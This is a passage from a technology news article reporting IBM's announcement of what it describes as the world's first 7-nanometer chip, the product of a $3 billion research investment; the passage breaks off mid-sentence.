IBM successfully creates the world’s first 7-nanometer chip It cost IBM $3 billion in research and 10 breakthroughs to make world’s first 7-nanometer chips Thanks to advances in its chip technology, IBM says it has manufactured the world’s first 7nm (nanometer) chip, arriving well ahead of competitors. This means that the minuscule electronics are so tiny that transistors on the chips are only 7 billionth of a meter in length, which makes it 1,400 times smaller than a human hair. According to IBM, this latest milestone is the result of a five year investment of $3 billion in chip research and development that the company announced last year. The development provides a ray of light over the shadowed semiconductor industry, which has strived to maintain its legendary pace of doubling transistor density every two years. Based on IBM’s research innovations, it says that its systems business will persist to use the most advanced semiconductors. However, those chips will no
